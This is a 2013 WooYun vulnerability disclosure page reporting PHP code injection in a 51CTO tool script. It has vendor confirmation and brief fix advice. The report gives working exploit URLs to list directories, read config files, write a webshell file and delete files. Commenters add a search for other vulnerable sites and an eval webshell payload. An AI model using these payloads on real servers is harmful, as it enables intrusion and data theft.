当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040647

漏洞标题：51CTO技术网站存在php代码注入可webshell

相关厂商：51CTO技术网站

漏洞作者： 秋风

提交时间：2013-10-22 14:50

修复时间：2013-12-06 14:51

公开时间：2013-12-06 14:51

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-22： 细节已通知厂商并且等待厂商处理中
2013-10-22： 厂商已经确认，细节仅向厂商公开
2013-11-01： 细节向核心白帽子及相关领域专家公开
2013-11-11： 细节向普通白帽子公开
2013-11-21： 细节向实习白帽子公开
2013-12-06： 细节向公众公开

简要描述：

q:
1#利用过程中发现引号无法使用，没关系，咱自行添加get参数，从全局变量$_GET中获取想要的一切。
2#发现有大量响应此参数的代码，如想打印一个字符1,服务器代码缺陷造成1*N次触发，导致在利用过程中可能出现内存不足的情况，解决办法，在函数利用前加exit，使代码只运行一次！

详细说明：

#1打印目录及文件，可修改参数d的值扫描整站

http://tool.51cto.com/yb/yb.php?q=${@exit(print_r(scandir($_GET[d])))}&d=../../../


>>服务器根目录文件打印结果
Array
(
[0] => .
[1] => ..
[2] => 51cto.com
[3] => hc3i.cn
[4] => px95site_t
[5] => suoyoo.com
[6] => suoyoo.com_2013-5-3
[7] => tools
[8] => watchstor.com
)
#2查看文件，可修改参数d的值查看整站文件

http://tool.51cto.com/yb/yb.php?q=${@exit(print_r(file($_GET[d])))}&d=../../../51cto.com/tool/config.php


#3写入传说中的webshell,参数d为内容,n为文件名
利用：

http://tool.51cto.com/yb/yb.php?q=${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=by:wooyun.org&n=./../wooyun.org.txt


对应文件地址：

http://tool.51cto.com/wooyun.org.txt


#4删除文件，参数n为文件名

http://tool.51cto.com/yb/yb.php?q=${@exit(var_dump(unlink($_GET[n])))}&n=./../wooyun.org.txt


声明：测试所写入的文件本人已删除，建议扫描一下整站。
目测#1的打印结果，危害还是比较大的，建议给20rank。

漏洞证明：

图1红线部分是打印出的文件和目录

_666.png


_667.png


修复方案：

1.有效过滤
2.建议不要使用eval

版权声明：转载请注明来源 秋风@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-10-22 15:23

厂商回复：

感谢提交漏洞，我们尽快修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-22 14:52 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)

    关注一下

  2. 2013-10-22 15:26 | D＆G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    牛！

  3. 2013-10-22 16:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    NB

  4. 2013-10-22 16:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    不知道这种洞主都是怎么发现的

  5. 2013-10-23 09:16 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    我不会告诉你们，他这套程序是开源的（源码在github上），至于是否出自51cto之手，请自行校验！这段代码要么是程序员偷懒直接eval，要么尼玛就是个后门，要么压根就没意识到这个问题！用这套程序的站点，目测都存在这问题，适当的时候google一下，命中率极高！我没透露什么，对吧？@xsser

  6. 2013-10-29 16:30 | Yu-brother ( 路人 | Rank:16 漏洞数:11 | 哥木有钱，木有房，木有车，木有媳妇，苦逼...)

    ````````````````

  7. 2013-11-21 16:25 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:27 | ANONYMOUS)

    果然霸气

  8. 2013-12-06 15:14 | 小禾吉 ( 路人 | Rank:0 漏洞数:1 | 宇宙的目的很可能和人类没有关系，宇宙很可...)

    @秋风 求github地址

  9. 2013-12-06 15:26 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    google hack如下：site:github.com web_admin_tools

  10. 2013-12-06 15:30 | 巫妖 ( 实习白帽子 | Rank:38 漏洞数:5 | 腚大屁股圆，家里一定很有钱)

    https://github.com/jiji262/web_admin_tools/blob/master/yb/yb.php

  11. 2013-12-06 16:11 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @xsser 其实我也早就发现了，一会去提交个

  12. 2013-12-07 09:57 | Huc-Unis ( 普通白帽子 | Rank:1055 漏洞数:292 | 诶，现在通用奖励越来越低了；离买保时捷卡...)

    @秋风 假如没有写入权限该怎么拿shell

  13. 2013-12-20 16:27 | Yu-brother ( 路人 | Rank:16 漏洞数:11 | 哥木有钱，木有房，木有车，木有媳妇，苦逼...)

    很有前途

  14. 2014-01-27 19:13 | 伟哥 ( 普通白帽子 | Rank:110 漏洞数:29 | 不怕流氓有文化,就怕色狼有耐心,那么一只起...)

    @Huc-Unis 你可以直接构造一个shell{${eval%28$_POST[c]%29}}

  15. 2014-02-18 14:44 | wusuopubupt ( 路人 | Rank:3 漏洞数:2 | BUPTer, linux lover.)

    厉害！

  16. 2014-06-13 22:54 | Yu-brother ( 路人 | Rank:16 漏洞数:11 | 哥木有钱，木有房，木有车，木有媳妇，苦逼...)

    ok